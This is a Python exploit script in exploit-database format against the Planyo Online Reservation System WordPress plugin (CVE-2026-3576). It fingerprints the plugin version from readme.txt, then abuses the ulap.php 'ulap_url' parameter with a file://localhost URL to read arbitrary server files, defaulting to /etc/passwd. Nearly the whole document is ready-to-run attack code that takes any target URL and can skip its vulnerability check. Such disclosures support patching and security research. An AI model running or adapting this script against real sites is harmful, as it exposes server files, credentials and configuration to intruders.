# Exploit Title: Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF # Date: 12-07-2026 # Exploit Author: Balachandar Gowrisankar # Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/ # Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/ # Version: <= 3.0 # Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14 # CVE: CVE-2026-3576 # CVSS Score: 7.2 # Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd import argparse import requests import re def version_check(base_url): readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt" response = requests.get(readme_url) text = response.text match = re.search(r"==\s*Changelog\s*==(.*)", text, re.DOTALL | re.IGNORECASE) if match: changelog = match.group(1) versions = re.findall(r"=\s*v?([A-Za-z0-9._-]+)\s*=", changelog) if versions: print("[+] Version found:", versions[-1]) if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']: print("[+] Target is vulnerable") else: print("[-] Target is not vulnerable. Exiting.") exit() else: print("[-] No versions found. Try skipping version check to see if exploit still works.") exit() else: print("[-] No changelog section found. Try skipping version check to see if exploit still works.") exit() def read_file(base_url, file): target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file try: response = requests.get(target_url) response.raise_for_status() print(response.text) except requests.exceptions.HTTPError as e: print(e) def main(): parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576") parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)") parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd") parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False") args = parser.parse_args() if not args.disable_check: print("[*] Checking if target is vulnerable...") version_check(args.base_url) print("\n[*] Attempting to read arbitrary file...\n") read_file(args.base_url, args.file) if __name__ == "__main__": main()